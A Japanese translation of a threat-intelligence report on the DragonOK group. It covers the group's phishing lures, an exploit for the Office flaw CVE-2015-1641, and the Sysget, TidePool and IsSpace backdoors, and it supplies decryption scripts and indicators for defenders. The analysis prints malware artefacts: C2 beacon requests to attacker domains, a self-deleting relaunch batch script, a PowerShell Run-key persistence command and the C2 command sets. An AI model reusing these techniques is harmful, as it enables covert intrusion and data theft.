※本記事は2017年1月5日に米国で掲載されたブログ記事の抄訳を元にしています。

パロアルトネットワークスの脅威インテリジェンスチームUnit 42が確認したDragonOKという攻撃グループは、依然として活発に活動を続けています。Unit 42が初めてこのグループについて確認し、報告したのは2015年4月のことで、日本の多数の組織を標的に、訃報などのおとり文書を利用していて攻撃を行っていることを明らかにしました。

Unit 42ではここ数か月間、このグループの仕業であるとみられる攻撃を多数確認しました。以前話題となったSysgetマルウェア ファミリの複数の新型亜種がDragonOKによって使用されていることも目撃されました。Sysgetマルウェアは、フィッシング電子メールを介して直接配信されるほか、リッチ テキスト形式(RTF)の文書を介して配信されています。このRTF文書はマイクロソフト製品CVE-2015-1641の脆弱性(MS15-033にてパッチ提供済み)を狙ったもので、極めて特異なシェルコードを活用しています。さらに、IsSpaceおよび TidePoolマルウェア ファミリのインスタンスが同じ手法で配信されていることも確認しました。

地理的な攻撃範囲を確認すると、日本は今もなおDragonOKによって最も標的にされている地域です。一方、台湾、チベットおよびロシアの個人または組織へと攻撃の範囲を広げている可能性があるサンプルも出てきています。

潜入

Unit 42は、この攻撃活動を目的とする特異な潜入手法として、以下の2つを確認しています。

  1. 悪意のある実行形式ファイルが直接添付されている状態で送信されるフィッシング電子メール
  2. 悪意のあるRTFファイル(CVE-2015-1641をエクスプロイトする)

このフィッシング電子メールには以下の特徴があります。

電子メールの件名の例

  • Pickup at the Juanda Airport (9月1日)
  • ポイントプレゼントのお知らせ
  • 20周年記念パーティー
  • 参加者の10周年記念同窓会一覧
  • 子供の調査連れ
  • G20 report
  • 記念日の再会
  • 最新の人事異動通知

添付ファイル名

  • G20 report.exe
  • form.exe
  • List of Participants.exe
  • Registration form.exe

これらの攻撃は日本の以下の産業を対象としていました。

  • 製造業
  • 高等教育機関
  • エネルギー
  • テクノロジ
  • 半導体

悪意のあるRTFファイルは、極めて特殊なシェルコードを活用して悪意のあるペイロードをドロップし、実行します。また、おとり文書も活用します。おとり文書は被害者に疑いを抱かせないよう、適切で敵意の感じられない文書が用いられ、これは悪意のあるペイロードが配信された後で開かれます。

2つのサンプルの中に、図1に示すおとり文書が含まれていることが分かりました。

文書のタイトルを大まかに訳すと、「交通部および所属機関主管の空地、主催の公共事業水源清掃に関する写真」となります。繁体字の中国語が使われていることから、台湾、香港またはマカオに住んでいる人をターゲットとした可能性の高いことが伺え、タイトルに基づいて考えると、狙われていた被害者は台湾出身者だったと結論を下しても差し支えないでしょう。これらのサンプルは更新版のIsSpaceマルウェア ファミリを配信していました。IsSpaceマルウェア ファミリについては、以前、航空宇宙産業を標的とする水飲み場型攻撃において取り上げました。IsSpaceはNFlogバックドアの進化した亜種であり、NFlogバックドアは過去にDragonOKが使っていたものです。

図1 台湾を狙うおとり文書

 

特定した別の2つのサンプルは、チベットをテーマにしたおとり文書を使っていました。問題の文書(図2)は、文書の内容自体ばかりでなく、使われているロゴが示しているように、見た目には中央チベット行政府から出た内部のニュースレターです。この文書は、マルウェアがチベット問題に関心を持つ個人を標的としている可能性を示しています。これらのサンプルは、TidePool マルウェア ファミリを配信しており、他に例を見ないものです。TidePool マルウェア ファミリについて、私たちは2016年5月に報告しましたが、DragonOKが攻撃にTidePoolを使用しているところが確認されたのは初めてです。

図2 内部ニュースレターを含んでいるチベットのおとり文書

 

私たちは台湾人を標的とするおとり文書(図3)を使った別のサンプルも特定しました。このおとり文書は新型のSysgetサンプルを使用していました。 

図3 台湾人を標的とするおとり文書

 

このグループに関連付けられる別の新型サンプルはロシア語のおとり文書(図4)を使っていました。問題のおとり文書は、1970年代にロシア政府により策定されたGOSTブロック暗号について考察しています。ロシアに特化した主題とロシア語との組み合せから、狙われていた被害者がロシア語を話し、暗号化に関心を持っている可能性のある人物であることが伺えます。すでに考察したチベットのおとり文書と同様、これらのサンプルもTidePoolマルウェア ファミリを配信していました。

図4 GOSTブロック暗号について考察しているロシア語のおとり文書

 

最後に、複数のサンプルが中国語繁体字のおとり文書を使用していましたが、このおとり文書では福利補助金調整プログラムについて議論していました。中国語繁体字の使用は、私たちが目にしたフィッシング電子メールで確認されたものと同様で、台湾、香港、マカオの住民を狙ったものと考えられます。それらのフィッシング電子メールと同様、Sysgetマルウェア ファミリの亜種がこれらのファイルによってインストールされます。

 

図5 福利補助金調整プログラムについて検討している中国語繫体字のおとり文書

 

展開されたマルウェア

未遂の攻撃で使用されていたさまざまなサンプルを観察する中で、以下の4つのファミリを特定しました。

  • Sysgetバージョン2
  • Sysgetバージョン3
  • TidePool
  • IsSpace

Unit 42の2015年4月のブログ発表以降に、多数の変更があることが分かったため、このSysgetの分類を複数の亜種に分けました。Sysgetのバージョン間の主要な相違には以下のものなどがあります。

Sysgetバージョン2

  • Windows XP上での永続性に関するサポートの削除
  • ネットワーク通信用に使用するURIの手直し
  • ネットワーク通信用の新たな暗号化レイヤーの追加および設定ファイルの保存
  • RC4からAES-128への切り替え

Sysgetバージョン3

  • デバッグ対策および仮想マシン対策のプロシージャを多数追加
  • ネットワーク通信時のURIを初期の静的キーの使用により暗号化

このほか、私たちはSysgetバージョン4を観測しましたが、これはリサーチを行っている際に別のサンプル内で発見しました。このバージョンは、組織に対する特定の攻撃には関与していないとみられます。

Sysgetバージョン4および特定の攻撃に直接関与していない他のサンプルに関連性のあるセキュリティ侵害の痕跡(IoC)およびさまざまなSysget亜種に関する詳細情報は、このブログ記事の下部の参考情報に記載しています。

確認したTidePoolサンプルは以前公表したサンプルと矛盾しないものです。ぜひ以前のブログ記事でも、このマルウェア ファミリの複雑さについて理解を深めていただければと思います。

IsSpaceマルウェア サンプルは最後に私たちが記事にしたとき以降に更新されたようです。コマンド アンド コントロール(C2)サーバからのコマンドで利用可能なものは同じですが、ネットワーク通信のURI構造は変更されました。さらに、このマルウェア ファミリ用のインストール ルーチンは更新されて、以前検討したバージョンに比べて複雑さがかなり減少しました。永続性を整えるのにPowerShellが採用され、以前使われていたサイドローディング手法は廃止されました。IsSpaceの新しいインスタンスに関するさらに詳細な分析は、このブログ記事の終わりの方の参考情報にあります。

インフラストラクチャ

独特なドメインが、この攻撃で使われたさまざまなトロイの木馬で多数利用されていました。私たちが観察したSysgetの多数のインスタンスに関して言えば、以下のドメインがC2用のものとして確認されました。

  • kr44.78host[.]com
  • gtoimage[.]com
  • gogolekr[.]com

上記ドメインのいずれにも、中国のWHOIS登録者情報の詳細があります。さらに、gotoimage[.]comおよびtrend.gogolekr[.]comはどちらも同一の登録者が登録されており、同一ネットブロックの104.202.173.0/24に解決されます。

特定されたTidePoolのインスタンスは以下のC2サーバと通信していました。

  • europe.wikaba[.]com
  • russiaboy.ssl443[.]org
  • cool.skywave[.]top

これらのドメインには上記Sysget C2サーバとの間に決定的な関係がさほどありませんでしたが、例外はcool.skywave[.]topであり、これは独特な登録者電子メール アドレスをtrend.gogolekr[.]comというSysget C2サーバとの間で共有していました。さらに、解決されたIPの地理的範囲は以前のものと変わらず、すべて東南アジアのさまざまな地域に解決されました。具体的に言えば、これらのドメインは過去6カ月間、中国、韓国、および台湾に帰着しました。

IsSpaceサンプルは以下のドメインに帰着しました。

  • www.dppline[.]org
  • www.matrens[.]top

 これらのドメインはそれぞれ韓国および香港に帰着する以外、以前述べたC2サーバとは見たところ何も関係はないようです。そのうえ、「Jiangsu Bangning Science and technology Co. Ltd.」という登録者は大量のドメインで使われていました。さまざまな攻撃同士の関連をすべて図で表したものが図6です。

 

図6 攻撃どうしの関連

 

結論

DragonOKグループは極めて活動的であり、ツールと戦略を継続してアップデートしています。本グループのツールセットは活発に開発が進められ、検出や分析をさらに困難にしています。さらに、TidePoolのような新たなマルウェア ツールセットを使用しているように見受けられます。日本は現時点でもこのグループが最も標的としている地域ではありますが、台湾、チベット、ロシアといった他の地域においても、このグループは被害を拡大しているようです。

パロアルトネットワークスのお客様は、次の方法で脅威から保護されています。

  • マルウェア ファミリはAutoFocusにおいてさまざまなタグ(TidePoolNFlogSysget)によりタグ付けされています。
  • 以下のIPSシグネチャは悪意のあるネットワーク トラフィックを検出します。
    • IPSシグネチャ14365 (IsSpace.Genコマンド アンド コントロール トラフィック)
    • IPSシグネチャ14588 (Suspicious.Genコマンド アンド コントロール トラフィック)
    • IPSシグネチャ13574 (NfLog.Genコマンド アンド コントロール トラフィック)
    • IPSシグネチャ13359 (NfLog.Genコマンド アンド コントロール トラフィック)
  • すべてのサンプルはWildFireで悪意があるものとして適切にマークされます。

参考情報

CVE-2015-1641エクスプロイトおよびシェルコード

DragonOKは、CVE-2015-1641の脆弱性を狙った攻撃をする際、極めて特殊なシェルコードのペイロードを使用します。このCVEはメモリを破壊する脆弱性であり、さまざまなバージョンのMicrosoft Office (2007、2010および2013など)において任意のコード実行を許してしまいます。

シェルコードは、少数のAPI関数をkernel32から動的にロードすることから始めます。関数名を表すハッシュが数多く含まれており、これらの関数名は右方向に7つ分巡回する(ROR7)操作を施された後に、キー“\x10\xAD\xBE\xEF”による排他的論理和(XOR)の演算処理を受けます。ROR7操作はシェルコードにおける極めて一般的な手法であり、どんな関数が呼び出されているのか分かりにくくします。作成者はこのXOR操作を加えることによって、難読化された新たなレイヤーを追加しました。

図7 シェルコードに含まれているAPI関数のハッシュ

 

シェルコードは必要なAPI関数をロードすると、埋め込み済みの悪意のあるペイロードやおとり文書の開始と終了の印となっている多数のマーカーを探し出す処理に進みます。

悪意のある実行形式ファイルは、開始点マーカーの0xBABABABABABAと終了点マーカーの0xBBBBBBBBによって印が付けられています。おとり文書は悪意のあるペイロードの終端の直後にあり、その終了点マーカーは0xBCBCBCBCです。2つの実行形式ファイルはいずれも4バイトのXORキーを使って暗号化されています。もし万一、元のデータに0x00000000が含まれていた場合、この値に対してはXOR演算処理が行われません。

悪意のあるペイロードはキー0xCAFEBEEFを使ってXOR演算処理され、おとり文書は0xBAADF00Dを使ってXOR演算処理されます。以下のスクリプトをRTF文書に対して適用すれば、悪意のあるペイロードとおとり文書の両方を抽出することができるでしょう。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

 

import sys, binascii

from itertools import cycle, izip

import re

 

def xor(message, key):

  return ''.join(chr(ord(c)^ord(k)) for c,k in izip(message, cycle(key)))

 

 

def decrypt(data, key):

  output = ""

  iteration = 4

  position = 0

  while True:

    window = data[position:position+iteration]

    if window == "\x00\x00\x00\x00":

      output += window

    else:

      output += xor(window, key)

    position += iteration

    if position == len(data) or position > len(data):

      break

  return output

 

 

def extract(data):

  exe_data, doc_data = None, None

  exe_starting_point = data.index("\xBA\xBA\xBA\xBA\xBA\xBA") + 6

  exe_ending_point = None

  ending_points = [m.start() for m in re.finditer("\xBB\xBB\xBB\xBB", data)]

  for e in ending_points:

    if e > exe_starting_point:

      exe_ending_point = e

  if exe_starting_point and exe_ending_point:

    mz_data = data[exe_starting_point:exe_ending_point]

    exe_data = decrypt(mz_data, "\xBE\xBA\xFE\xCA")

  else:

    raise Exception("Unable to find correct offsets for executable.")

 

  doc_starting_point = exe_ending_point + 4

  doc_ending_point = None

  ending_points = [m.start() for m in re.finditer("\xBC\xBC\xBC\xBC", data)]

  for e in ending_points:

    if e > doc_starting_point:

      doc_ending_point = e

  if doc_starting_point and doc_ending_point:

    doc = data[doc_starting_point:doc_ending_point]

    doc_data = decrypt(doc, "\x0D\xF0\xAD\xBA")

  else:

    raise Exception("Unable to find correct offsets for document.")

  return [exe_data, doc_data]

 

 

def main():

  input_file = sys.argv[1]

  input_fh = open(input_file, 'rb')

  input_data = input_fh.read()

  input_fh.close()

  exe, doc = extract(input_data)

 

  filename = "{}.exe".format(input_file)

  output_file = open(filename, 'wb')

  output_file.write(exe)

  output_file.close()

  print "[+] Wrote {}".format(filename)

 

  filename = "{}.doc".format(input_file)

  output_file = open(filename, 'wb')

  output_file.write(doc)

  output_file.close()

  print "[+] Wrote {}".format(filename)

 

 

if len(sys.argv) == 2 and __name__ == "__main__":

  main()

 

2つとも復号化されると、これらは%TEMP%ディレクトリ内の以下の位置に書き込まれます。

  • ../..exe
  • ../..doc

最初の‘..’に注目してください。これは%TEMP%の親ディレクトリを表しています。これと、..exeおよび..docという変わった名前との組み合せにより、このシェルコードが極めて特異なものとなっています。これらのサンプルが同じグループのものであるとUnit 42が考えたのはこうしたことが背景にあります。サンプルは、書き込まれるとWinExec呼び出しを介して実行されます。

Sysget v2の分析

Sysgetバージョン2で見られた基本的な変更点の1つは、Windows XPおよびそれ以下のサポートの除外です。その他の変更点としては、ネットワーク通信に使用されるURIの変更があります。

元のバージョンのSysgetと同様に、Sysget v2では、一度に単一のインスタンスが実行されるよう確保するために、引き続き、‘mcsong[]’の名前付きイベントが使用されます。それに続いて、%STARTUP%/notilv.exeパスに自身をコピーする試みが行われます。ただし、COMオブジェクトを使用して、Windows XPには対応していないこのアクションを実行し、マルウェアが自身をこの場所にインストールするのを防いでいます。マルウェアの残りの部分は予期したとおりに動作しますが、システムの再起動後に生き残ることはありません。

次に、Sysgetは以下の設定ファイルの読み取りを試みます。このファイル名とパスは、元のバージョンからは変更されていますが、後続のバージョンでは一致しています。

  • %APPDATA%/vklCen5.tmp

この設定ファイルには、一意の被害者IDとHTTPトラフィックの暗号化に使用される鍵の両方が含まれます。HTTPトラフィックは、AES-128暗号化アルゴリズムと静的鍵‘734thfg9ih’を使用して暗号化されます。AES-128の使用は以前のバージョンからの変更点です。以前のバージョンでは、すべての暗号化動作でRC4が使用されていました。このファイルを復号化するために、以下のPythonコードを使用できます。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

 

 

import sys

import base64

from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptDecrypt

 

def decrypt(data, original_key):

CALG_AES_128 = 0x660E

CALG_MD5 = 0x8003

md5_hasher = CryptCreateHash(CALG_MD5)

CryptHashData(md5_hasher, original_key)

key = CryptDeriveKey(md5_hasher, CALG_AES_128)

decrypted_data = CryptDecrypt(key, data)

return decrypted_data

 

arg = open(sys.argv[1], 'rb').read()

print repr(decrypt(arg, '734thfg9ih'))

 

例の設定ファイルに対して実行したときには、以下が出力されました。前述のデータの2つの部分が含まれています。

 

1

2

3

4

 

 

C:\>python decrypt_config.py vklCen5.tmp

'gh1443717133\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\

x00\x00\x00\x00\x001059086204\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\

x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

 


この設定ファイルの暗号化は、元のバージョンのSysgetには存在していなかった新しい機能です。

このファイルがシステム上に存在しない場合、マルウェアはHTTPリクエストを介して必要な情報の取得を試みます。以下のリクエストがリモートのコマンド アンド コントロール サーバに対して作成されます。マルウェア サンプルによってURI全体が静的に設定されている点に注意してください。

GET /index.php?type=read&id=1420efbd80ce02328663631c8d8f813c&pageinfo=jp&lang=utf-8 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36
Host: hello.newtaiwan[.]top

サーバは、前述した同じ手法と静的鍵‘aliado75496’を使用して暗号化された以下のデータで応答します。復号化すると、以下の例のデータがSysgetに返送されたことがわかります。

gh1443717133\n1059086204\n

最初の文字列が、後続のすべてのネットワーク通信の鍵として使用されます。2番目の文字列は、一意の被害者IDとして扱われます。このデータは、鍵‘734thfg9ih’を使用して暗号化され、%APPDATA%/vklCen5.tmpファイルに書き込まれます。

この情報を取得すると、マルウェアは次に、コマンド アンド コントロール ループに入ります。以下のようなHTTPリクエストがリモート サーバに対して作成されます。‘mid’ GET変数が以前に取得した被害者IDのMD5ハッシュを保持している点に注意してください。URI内のその他のデータはハードコード化されています。

GET /index.php?type=get&pageinfo=bridge03443&lang=jp&mid=5717cb8fed2750a2ee9e830a30716ed4 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36
Host: hello.newtaiwan[.]top

レスポンスは、以前に取得した一意の鍵を使用して暗号化されます。レスポンスに暗号化されていない‘Fatal error’が含まれる場合、それ以上のアクションはマルウェア サンプルによって実行されません。復号化すると、レスポンスに付随させる目的で、以下の2つの選択肢のいずれかが含まれている場合があります。代わりに、raw形式でコマンドが提供された場合、マルウェアはそれを実行し、結果を返します。

コマンド

説明

goto wrong "[file_path]";\n

特定のファイルを読み取り、その内容を返します。

goto right "[filename]" "[identifier]"

特定のファイルを書き込みます。IDは、後続のHTTPリクエストでファイルの内容を取得するために使用されます。


‘goto wrong’リクエストが作成された場合は、以下のURIに対してHTTP POSTリクエストが作成されます。以下のURIでは、‘list’パラメータに被害者のIDのMD5ハッシュが含まれます。

/index.php?type=register&pageinfo=myid32987&list=5717cb8fed2750a2ee9e830a30716ed4

このPOSTリクエストのコンテンツには、被害者のIDおよび一意の鍵で暗号化されたファイルの内容が含まれます。以下に示すように、最初の50バイトは、被害者ID用に予約されています。

1

2

3

4

0000016F  35 37 31 37 63 62 38 66  65 64 32 37 35 30 61 32 5717cb8f ed2750a2

0000017F  65 65 39 65 38 33 30 61  33 30 37 31 36 65 64 34 ee9e830a 30716ed4

0000018F  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ........ ........

0000019F  00 00 4b 59 bc 53 53 99  2b 6f a7 b5 5a 85 c7 66 ..KY.SS. +o..Z..f

復号化すると、データにはファイル名とそのファイルの内容の両方が含まれます。

 

1

2

 

 

test.txt\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[TRUNCATED]\x

00\x00\x00file contents

 

‘goto right’コマンドが使用された場合、マルウェアは以下のURIに対して後続のリクエストを作成します。‘cache’変数は、‘goto right’コマンドで提供された一意のIDを保持します。

/index.php?type=goto&pageinfo=myid47386&cache=identifier

ファイルの内容は、取得された後、%STARTUP%フォルダ内の指定されたファイル名に書き込まれます。

raw形式のコマンドを受け取った場合、マルウェアはPOSTリクエストを介して結果を以下のURIにアップロードします。

/index.php?type=register

Sysgetバージョン2で見られるネットワーク通信の概要は、以下の図で確認できます。

図8 Sysgetバージョン2のコマンド アンド コントロールのフロー 

 

Sysget v3の分析

Sysgetバージョン3で見られた最大の変更点には、追加された多数のデバッグ対策検出と仮想マシン対策検出、ネットワーク通信に使用されるURIの暗号化が含まれます。

最初にマルウェアを実行すると、デバッグされていないこと、およびサンドボックスや仮想環境で実行されていないことを確認するため、チェックが実行されます。

これらのチェックがfalseを返した場合に、マルウェアはインストール ルーチンに入ります。マルウェアは、最初に、%TEMP%ディレクトリ内のファイル名プレフィックスが‘00’の一時ファイルに自身をコピーします。その後、このファイルの末尾に、4194304バイトのランダムに選択したデータを付加します。ファイルサイズの増加は、保存または処理するファイルに対してファイルサイズ制限を課すサンドボックスを阻止する試みとして作成者によって追加されることがあります。最後に、マルウェアは、バージョン2で見られたものと同じ手法を使用して、一時パスから%STARTUP%/winlogon.exeパスへ元のファイルをコピーします。その後、Sysgetは以下の内容のバッチ スクリプトを%TEMP%フォルダに書き込み、元のファイルをクリーンアップして、新たに書き込んだwinlogon.exe実行可能ファイルを生成します。

 

1

2

3

4

5

6

7

8

9

10

 

 

@echo off

:t

timeout 1

for /f %%i in ('tasklist /FI "IMAGENAME eq [original_executable_name]" ^| find /v /c ""' ) do set YO=%%i

if %%YO%%==4 goto :t

del /F "[original_executable_path]"

del /F "[tmp_file]"

start /B cmd /c "[startup_winlogon.exe]"

del /F "[self]"

exit

 

上記のURIをbase64デコードし、その後、復号化すると以下のようになります。

index.php?type=read&id=692fdc3c7b2c310fc017e4af335b8dc8&pageinfo=jp&lang=utf-8

このURIは、以前のSysget亜種と一致しています。作成者は、ネットワークベースの検出を介してマルウェアをブロックする取り組みを妨げるために、この暗号化の層を追加しただけのように見えます。

被害者IDと一意のパスワードを取得するためのこの初期リクエストの後、Sysgetはコマンド アンド コントロール ループに入ります。このプロセスは、以前のバージョンと一致しており、URI用に使用される暗号化の層が追加されているだけです。

Sysget v4の分析

Sysgetの4番目の亜種は、3番目の亜種とほぼ同一ですが、主な違いは、ネットワーク通信に使用されるURIにあります。URIの予期される暗号化に加え、この亜種は後から実行されるbase64エンコードもマングルします。この亜種で見つかったbase64 URIの難読化を解除するために、以下のPythonスクリプトを使用できます。

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

 

 

import base64

 

'''

URI Request:

 

GET

/5.php?62H72xihwn4LqfdOqTV4W2AthjuOeCa2k0RUvE7CicXxN2MWFre2pqH8gIdMMJQbzS0

AMo+rT4GGalhcebmCbjdrjZlyDhmUjE7QO5mIXZTAucGt3LeLXxOxGiV1G4zecHSPAX3AiAeR+

BGFsc3wtMhOWzXfithXYeCKnjh1O7pXsYqyKqfl=HpVzs4YXZb=UQY=BNEnr/77jW5JTLNI4aed

99 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML,

like Gecko) Chrome/40.0.2214.115 Safari/537.36

Host: www.sanseitime.com

'''

 

uri_string =

"62H72xihwn4LqfdOqTV4W2AthjuOeCa2k0RUvE7CicXxN2MWFre2pqH8gIdMMJQbzS0AMo+rT

4GGalhcebmCbjdrjZlyDhmUjE7QO5mIXZTAucGt3LeLXxOxGiV1G4zecHSPAX3AiAeR+BGFsc3

wtMhOWzXfithXYeCKnjh1O7pXsYqyKqfl=HpVzs4YXZb=UQY=BNEnr/77jW5JTLNI4aed99"

 

b64_string =

"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="

prefix_int = int(uri_string[0:2])

out = ""

 

for u in uri_string[2:]:

ind = b64_string.index(u) - prefix_int

out += b64_string[ind]

 

decoded = base64.b64decode(out)

 

さらに、この亜種では、C2 URIが1.phpから5.phpに変更されています。

IsSpaceの分析

最初に実行すると、IsSpaceは、一度にマルウェアの単一のインスタンスが実行されるよう確保するために、一意のイベントを作成します。複数のサンプルに複数の一意のイベント名が含まれていたため、このイベント名はサンプルごとに一意であると思われます。分析したサンプルでは、以下のイベント名が見つかりました。

  • e6al69MS5iP
  • v485ILa3q5z

その後、IsSpaceはシステム上で実行プロセスを繰り返し、以下の2つのプロセス部分文字列を検索します。

  • uiSeAgnt
  • avp.exe

uiSeAgnt文字列はTrend Microのソリューションに関連している可能性があり、avp.exeはおそらくKasperskyのマルウェア対策製品に関連しています。

uiSeAgntが特定されると、マルウェアは、まだ‘bfsuc.exe’として実行されていない場合はインストールルーチンに入り、その後、終了します。avp.exeが特定された場合は、マルウェアはマウスがクリックされるまで無限スリープ ループに入ります。マウスがクリックされた後は、マルウェアは通常どおりに進行します。

その後、マルウェアは、Windows XPで実行されているかどうかを判別します。実行されている場合は、www.bing.comへのHTTP GETリクエストを作成します。これはネットワーク接続を確認しているものと推定されます。

図9 www.bing.comに接続しているIsSpace

 

 

Windows XPで実行されていない場合、マルウェアは、Internet Explorerからの基本的な認証情報の取得と復号化を試みます。この情報は、ネットワーク通信中に407 (Proxy Authentication Required;プロキシ認証が必要)または401 (Unauthorized;認証が必要)レスポンス コードを受信した場合に、後続のHTTPリクエストで使用されます。

その後、IsSpaceはインストール ルーチンに入り、最初に自身を‘bfsuc.exe’という名前で%LOCALAPPDATA%フォルダにコピーします。さらに、以下のPowerShellコマンドを実行し、持続性を確立するための適切なレジストリ キーを設定します。

 

1

2

3

4

 

 

C:\Windows\system32\cmd.exe /C Powershell.exe New-ItemProperty -Path

HKCU:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run -Name Identity -

PropertyType String -Value c:\users\josh grunzweig\appdata\local\bfsuc.exe

-force

 

さらにその後、マルウェアは設定済みのC2サーバへの初期HTTP POSTリクエストを作成します。このリクエストは‘/news/Senmsip.asp’ URIに対して作成されます。POSTデータは鍵“\x35\x8E\x9D\x7A”に対してXORされます。これは、IsSpaceおよびNFlogの以前のバージョンと一致しています。復号化すると、POSTデータは“01234567890”となります。次に、C2サーバが被害者の外部IPアドレスで応答します。

図10 初期IsSpaceビーコン 

その後、IsSpaceは、以下のURIへのHTTPリクエストを作成する2つのスレッドを生成します。

  • /news/Sennw.asp?rsv_info=[MAC_ADDRESS]
  • /news/Sentire.asp?rsv_info=[MAC_ADDRESS]

作成される‘Sennw.asp’ POSTリクエストには、収集された被害者情報が含まれます。それらは、ネットワーク経由で送信される他の情報と同様に、前述の4バイトXOR鍵を使用して暗号化されます。復号化すると、次のような情報が提供されます。

 

1

2

3

 

 

60-F8-1D-CC-2F-CF#%#172.16.95.1#%#172.16.95.186#%#WIN-

LJLV2NKIOKP#%#Win7#%#English(US)#%#2016-12-20

16:27:12#%#Active#%#xp20160628#%#IsAdmins#%#False

 

情報は以下のとおりで、‘#%#’で区切られています。

説明

60-F8-1D-CC-2F-CF

MACアドレス

172.16.95.1

以前に収集された外部IP

172.16.95.186

内部IPアドレス

WIN-LJLV2NKIOKP

ホスト名

Win7

Windowsのバージョン

English(US)

言語

2016-12-20 16:27:12

タイムスタンプ

Active

マルウェアのステータス。‘Sleep’の場合もある

xp20160628

潜在する攻撃活動のID

IsAdmins / False

ユーザー管理者のステータス

マルウェアは、このHTTPリクエストに対して以下の2つのレスポンスのいずれかを返すものとみなされます。

  • Active
  • Slient (タイポに注意)

レスポンスとしてSlientを受信した場合、マルウェアは‘Sentire.asp’ URIへのHTTPリクエストの送信を停止します。逆に、マルウェアが‘Sleep’ステータスに設定されており、‘Active’レスポンスを受信した場合は、再び、‘Sentire.asp’要求を開始します。

‘Sentire.asp’へのリクエストは、メインC2ループとして動作し、リモート サーバにコマンドを要求します。コマンドは、以前に観察されたIsSpaceのインスタンスと一致しますが、URIは変更されています。

コマンド

説明

レスポンスURI

CMD

コマンドを実行する

Sentrl.asp

Browse

指定されたディレクトリを一覧する

Senjb.asp

UploadFile

ファイルをアップロードする

Sensp.asp

DownLoad

ファイルをダウンロードする

Senwhr.asp

DelFile

ファイルを削除する

N/A

DragonOKのインジケータ

悪意のあるRTF文書

020f5692b9989080b328833260e31df7aa4d58c138384262b9d7fb6d221e3673
0d389a7b7dbdfdffcc9b503d0eaf3699f94d7a3135e46c65a4fa0f79ea263b40
52985c6369571793bc547fc9443a96166e372d0960267df298221cd841b69545
785398fedd12935e0ae5ac9c1d188f4868b2dc19fb4c2a13dab0887b8b3e220d
941bcf18f7e841ea35778c971fc968317bee09f93ed314ce40815356a303a3ec
ba6f3581c5bcdbe7f23de2d8034aaf2f6dc0e67ff2cfe6e53cfb4d2007547b30
df9f33892e476458c74a571a9541aebe8f8d18b16278f594a6723f813a147552
925880cc833228999ea06bd37dd2073784ab234ea00c5c4d55f130fe43a0940b
3e4937d06ac86078f96f07117861c734a5fdb5ea307fe7e19ef6458f91c14264
16204cec5731f64be03ea766b75b8997aad14d4eb61b7248aa35fa6b1873398b
64f22de7a1e2726a2c649de133fad2c6ad089236db1006ce3d247c39ee40f578
c3b5503a0a89fd2eae9a77ff92eef69f08d68b963140b0a31721bb4960545e07
d227cf53b29bf0a286e9c4a1e84a7d70b63a3c0ea81a6483fdfabd8fbccd5206
9190b1d3383c68bd0153c926e0ff3716b714eac81f6d125254054b277e3451fe
d321c8005be96a13affeb997b881eaba3e70167a7f0aa5d68eeb4d84520cca02
d38de4250761cb877dfec40344c1642542ca41331af50fa914a9597f8cc0ee9b
5a94e5736ead7ea46dbc95f11a3ca10ae86c8ae381d813975d71feddf14fc07a
bbdc9f02e7844817def006b9bdef1698412efb6e66346454307681134046e595

IsSpace

12d88fbd4960b7caf8d1a4b96868138e67db40d8642a4c21c0279066aae2f429
1a6e3cd2394814a72cdf8db55bc3f781f7e1335b31f77bffc1336f0d11cf23d1

C2ドメイン

www.dppline[.]org
www.matrens[.]top

TidePool

89c4c126f202caad802f8195db037b386ffd95a36545cfbaeb653ff8ea9d63e1
bffada2ca479e5e147aebd5b45e51b8ced7fba4b13f73fe563fffeaa0f44912e
bf35fb5b06688006fab2452b7fd4d3fe248adf382a957c0cf499e98a2563a4c7

C2ドメイン

europe.wikaba[.]com
russiaboy.ssl443[.]org
cool.skywave[.]top 

Sysgetバージョン2

82f028e147471e6f8c8d283dbfaba3f5629eda458d818e1a4ddb8c9337fc0118 

C2ドメイン

newtw2016.kr44.78host[.]com

Sysgetバージョン3

02fc713c1b2c607dff4fc6c4797b39e42ee576578f6af97295495b9b172158b9
a0b0a49da119d971fa3cf2f5647ccc9fe7e1ff989ac31dfb4543f0cb269ed105
b49cb2c51bc2cc5e48585b9b0f7dd7ff2599a086a4219708b102890ab3f4daf3
b8f9c1766ccd4557383b6643b060c15545e5f657d87d82310ed1989679dcfac4
d75433833a3a4453fe35aaf57d8699d90d9c4a933a8457f8cc37c86859f62d1e
685076708ace9fda65845e4cbb673fdd6f11488bf0f6fd5216a18d9eaaea1bbc
7fcc86ebca81deab264418f7ae5017a6f79967ccebe8bc866efa14920e4fd909
c5c3e8caffd1d416c1fd8947e60662d82638a3508dbcf95a6c9a2571263bdcef

C2ドメイン

gtoimage[.]com
trend.gogolekr[.]com

その他のインジケータ

Sysgetバージョン2

a768d63f8127a8f87ff7fa8a7e4ca1f7e7a88649fe268cf1bd306be9d8069564
2bf737f147e761586df1c421584dba350fd865cb14113eee084f9d673a61ee67
2c7c9fd09a0a783badfb42a491ccec159207ee7f65444088ba8e7c8e617ab5a5
